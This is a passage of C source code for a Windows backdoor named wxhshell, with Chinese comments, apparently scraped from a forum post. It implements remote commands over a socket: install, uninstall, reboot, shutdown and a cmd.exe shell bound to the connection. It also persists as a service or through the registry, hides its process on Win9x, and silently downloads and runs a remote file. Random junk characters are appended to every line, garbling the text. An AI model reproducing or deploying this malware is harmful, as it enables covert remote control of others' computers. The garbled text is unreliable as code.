  L"%eQHEC&  
  // 帮助 z 5+]Z a~  
  case '?': { +lJ]-U|P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8T )ELhTj  
    break; JSK5x(GlH  
  } -U[`pUY?f  
  // 安装 Fjt,  
  case 'i': { $ n[7  
    if(Install()) :-" jK w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "IJMvTmj  
    else MWh+h7k'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q Xhf?x  
    break; _C=[bI@  
    } >0#q!H,X  
  // 卸载 arVf"3a  
  case 'r': { JBAK*g  
    if(Uninstall()) XYF~Q9~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VQMd[/  
    else |o=ST  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t`t:qko  
    break; 5XO'OSdYq  
    } eAKQR  
  // 显示 wxhshell 所在路径 !&p:=}s  
  case 'p': { U] -@yx  
    char svExeFile[MAX_PATH]; f ?zK "  
    strcpy(svExeFile,"\n\r"); ]Wt6V^M'@  
      strcat(svExeFile,ExeFile); )wv[!cYyW  
        send(wsh,svExeFile,strlen(svExeFile),0); oHd0 <TO  
    break; t0d '>  
    } @ aN=U=  
  // 重启 +{i "G,3  
  case 'b': { ef:$1VIBda  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]G~N+\8]U  
    if(Boot(REBOOT)) J*KBG2+13  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JD`;,Md  
    else { udI: ]:,P  
    closesocket(wsh); |O+>#  
    ExitThread(0); qS}RFM5|  
    } BBE1}V!u  
    break; ^^3va)1{!  
    } x][9ptr h  
  // 关机 ^1yTL5#:Vw  
  case 'd': { <&EO=A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "|r^l  
    if(Boot(SHUTDOWN)) s1 ^mk]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !XA%[u  
    else { W*rU,F|9  
    closesocket(wsh); K9O,7h:x  
    ExitThread(0); FDd>(!>  
    } s!;VUr\  
    break; KkL:p?@n  
    } ]1|Ql*6y,  
  // 获取shell nL(%&z \4  
  case 's': { +b,31  
    CmdShell(wsh); xAd>",=~  
    closesocket(wsh); s3_e7D ^H  
    ExitThread(0); Vkvb=  
    break; : Nj`_2  
  } h;ol"  
  // 退出 *v nxP9<  
  case 'x': { Rp`_Grcd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +`s&i%{1>  
    CloseIt(wsh); h6T/0YhWLP  
    break; [' OCw {<  
    } q'Pz3/mk  
  // 离开 Ux)p%-  
  case 'q': { q4.dLU,1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'f?&EsIV?  
    closesocket(wsh); eFj6p<  
    WSACleanup(); _z(5e  
    exit(1); Ad`[Rt']kI  
    break; B`?N0t%X  
        } rv%ye H  
  } x#j\"$dla  
  } Msa6yD#  
q ~Q)'*m  
  // 提示信息 ,JQxs7@2k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @X|i@{<';  
} igj={==m  
  } oF@x]bmU  
ULNAH`{D  
  return; DNW2;i<hsz  
} e:GgA  
Id.Z[owC`Y  
// shell模块句柄 Dd5xXs+c  
int CmdShell(SOCKET sock) $nfBv f  
{ QLB1:O>  
STARTUPINFO si; d(DX(xg  
ZeroMemory(&si,sizeof(si)); Oa}V>a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VTJIaqw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t;LX48 TQ  
PROCESS_INFORMATION ProcessInfo; ,na=~.0R:  
char cmdline[]="cmd"; N,/BudF o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L'\/)!cEd  
  return 0; EOBs}M;  
} :<N6i/  
RhV:Z3f`6  
// 自身启动模式 L*UV  
int StartFromService(void) ;X$q#qzN#  
{ o/dMm:TF  
typedef struct W) 33;E/}  
{ K{ zCp6  
  DWORD ExitStatus; 2GiUPtO&Gj  
  DWORD PebBaseAddress; FM9X}%5nu9  
  DWORD AffinityMask; ;Y@!:p- H  
  DWORD BasePriority; >St. &#c  
  ULONG UniqueProcessId; { p!_-sL  
  ULONG InheritedFromUniqueProcessId; "^9[OgE:  
}   PROCESS_BASIC_INFORMATION; C?[a3rNH(  
Y3P.|  
PROCNTQSIP NtQueryInformationProcess; ] ;pf  
p- "Z'$A`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vedyy\TU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'n l RY5@2  
%qS]NC  
  HANDLE             hProcess; "+n4c'  
  PROCESS_BASIC_INFORMATION pbi; _}I(U?Q-C  
H:q)^$s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a@fE46o6<  
  if(NULL == hInst ) return 0; z29qARiX  
${eY9-r_%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C5PmLiOHY>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $Wr\ [P:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yHWi [7$  
KMK&[E#r  
  if (!NtQueryInformationProcess) return 0; IU Y> ih  
UTDcX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5!'R'x5e  
  if(!hProcess) return 0; HDF!`  
:M22P`:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fJ)N:q`  
6o=qJ`m[?  
  CloseHandle(hProcess); xH_A@hf;  
,&.W6sW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z0 [)u_<  
if(hProcess==NULL) return 0; zU f>db  
L bJtpwz>z  
HMODULE hMod; :vc[/<  
char procName[255]; <i_> y~v`  
unsigned long cbNeeded; x],8yR)R  
~lzdbX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )p$\gwr=2  
M11"<3]D  
  CloseHandle(hProcess); 4meidKw]  
*2JH_Cj`  
if(strstr(procName,"services")) return 1; // 以服务启动 tmO;:n<N  
\8;Qv  
  return 0; // 注册表启动 [_y9"MMwn  
} (;;J,*NP  
H-eEhI(;O  
// 主模块 e#>tM  
int StartWxhshell(LPSTR lpCmdLine) T*h!d(  
{ D 4< -8  
  SOCKET wsl; ss? ]  
BOOL val=TRUE; m"lE&AM64p  
  int port=0; UF@IBb}0  
  struct sockaddr_in door; #*!+b  
`IEq@Wr#$!  
  if(wscfg.ws_autoins) Install(); |h5kg<Zgo  
I3Lg?bZ  
port=atoi(lpCmdLine); \\=.6cg<K  
6( >3P  
if(port<=0) port=wscfg.ws_port; 5^)?mA  
#v.L$7O  
  WSADATA data; \'n$&PFe  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X'cf&>h  
eY J{LPo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _h0-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^9&b+u=X  
  door.sin_family = AF_INET; mfXD1]<.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B{s]juPG  
  door.sin_port = htons(port); 4\p$4Hs}  
7^ 4jcfJH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n vm^k  
closesocket(wsl); mO#I nTO  
return 1; ]#F q>E  
} Mv|vRx^b  
p1+7 <Y:  
  if(listen(wsl,2) == INVALID_SOCKET) { |y.zo cBj  
closesocket(wsl); r=h8oUNEJ*  
return 1;  cp$.,V  
} :@.C4oq  
  Wxhshell(wsl); :~yzDk\I"-  
  WSACleanup(); CE)*qFs  
:`D'jF^S  
return 0; Q Q@9_[N  
*5 e<\{!  
} }04Dg '  
YU&4yk lE  
// 以NT服务方式启动 Ig<}dM.Z[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '<TD6jBs  
{ 9oEpPL5  
DWORD   status = 0; |Eb&}m:E$  
  DWORD   specificError = 0xfffffff; xJ-*%'(KZ  
UmJUt|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zp`~}LV{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; My. dD'C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ASR-a't6  
  serviceStatus.dwWin32ExitCode     = 0; wTT RoeJ}  
  serviceStatus.dwServiceSpecificExitCode = 0; 9hy'DcSy,  
  serviceStatus.dwCheckPoint       = 0; XM$GQn]B  
  serviceStatus.dwWaitHint       = 0; ;v_ls)_,-  
*/nuv k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dgXg kB'  
  if (hServiceStatusHandle==0) return; ] GNh)  
I-,>DLG  
status = GetLastError(); pDGT@qJ  
  if (status!=NO_ERROR) Rfht\{N 7  
{ <KtBv Ip]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5:c;RRn  
    serviceStatus.dwCheckPoint       = 0; @: Z#E[N H  
    serviceStatus.dwWaitHint       = 0; {(;B5rs  
    serviceStatus.dwWin32ExitCode     = status; a2o.a 2  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3!aEClRtq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?9p$XG  
    return; =c&62;O  
  } ^uhxURF  
S/VA~,KCe;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q\|18wkW  
  serviceStatus.dwCheckPoint       = 0; 6J\q`q(W(  
  serviceStatus.dwWaitHint       = 0; |~eY%LB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L;3aZt,#O  
} y`rL=N#  
$.a|ae|K  
// 处理NT服务事件,比如:启动、停止 F99A;M8(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mbyih+amCr  
{ ;Z*'D}  
switch(fdwControl) (-\]A|  
{ /l ^y}o %?  
case SERVICE_CONTROL_STOP: c}%es=@  
  serviceStatus.dwWin32ExitCode = 0; Ah (iE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e8{^f]5  
  serviceStatus.dwCheckPoint   = 0; G]-%AO{K  
  serviceStatus.dwWaitHint     = 0; 7%4.b7Q  
  { 45) D+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); };rm3;~ eg  
  } )6=gooe]  
  return; GMdI0jaG#  
case SERVICE_CONTROL_PAUSE: AF GwT%ZD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KSc~GP _  
  break; j{)~QD?  
case SERVICE_CONTROL_CONTINUE: jB!W2~Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y''6NGf  
  break; a%E8(ms37y  
case SERVICE_CONTROL_INTERROGATE: M6_-f ;.  
  break; r{S=Z~J  
}; =UNT.]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )pS8{c)E  
} g2=}G<*0  
\-OC|\{32  
// 标准应用程序主函数 D"cKlp-I6|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D^u\l  
{ kon5+g9q  
xQo~%wW,?  
// 获取操作系统版本 _IxamWpX$  
OsIsNt=GetOsVer(); tq&Yek>C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \45(#H<$  
>ZeEX, N  
  // 从命令行安装 akC>s8tqlA  
  if(strpbrk(lpCmdLine,"iI")) Install(); I8k  
\i0-o8q@I  
  // 下载执行文件 A*F9\mj I5  
if(wscfg.ws_downexe) { E~RV1)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sph*1c(R  
  WinExec(wscfg.ws_filenam,SW_HIDE); *Tp]h 0  
} vTd- x>n  
>jMH#TZaX  
if(!OsIsNt) { 4gOgWBv  
// 如果时win9x,隐藏进程并且设置为注册表启动 | 3giZ{  
HideProc(); C2G  |?=  
StartWxhshell(lpCmdLine); >S'>!w  
} z h%qS~8Yv  
else SKR;wu  
  if(StartFromService()) G#0,CLGN^  
  // 以服务方式启动 #ZlM?Q  
  StartServiceCtrlDispatcher(DispatchTable); ;& ~929  
else X2^_~<I{,  
  // 普通方式启动 6e# wR/  
  StartWxhshell(lpCmdLine); Cw#V`70a  
Lm|al.Z  
return 0; m gVML&^  
}
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只看该作者 1 发表于: 2006-10-10
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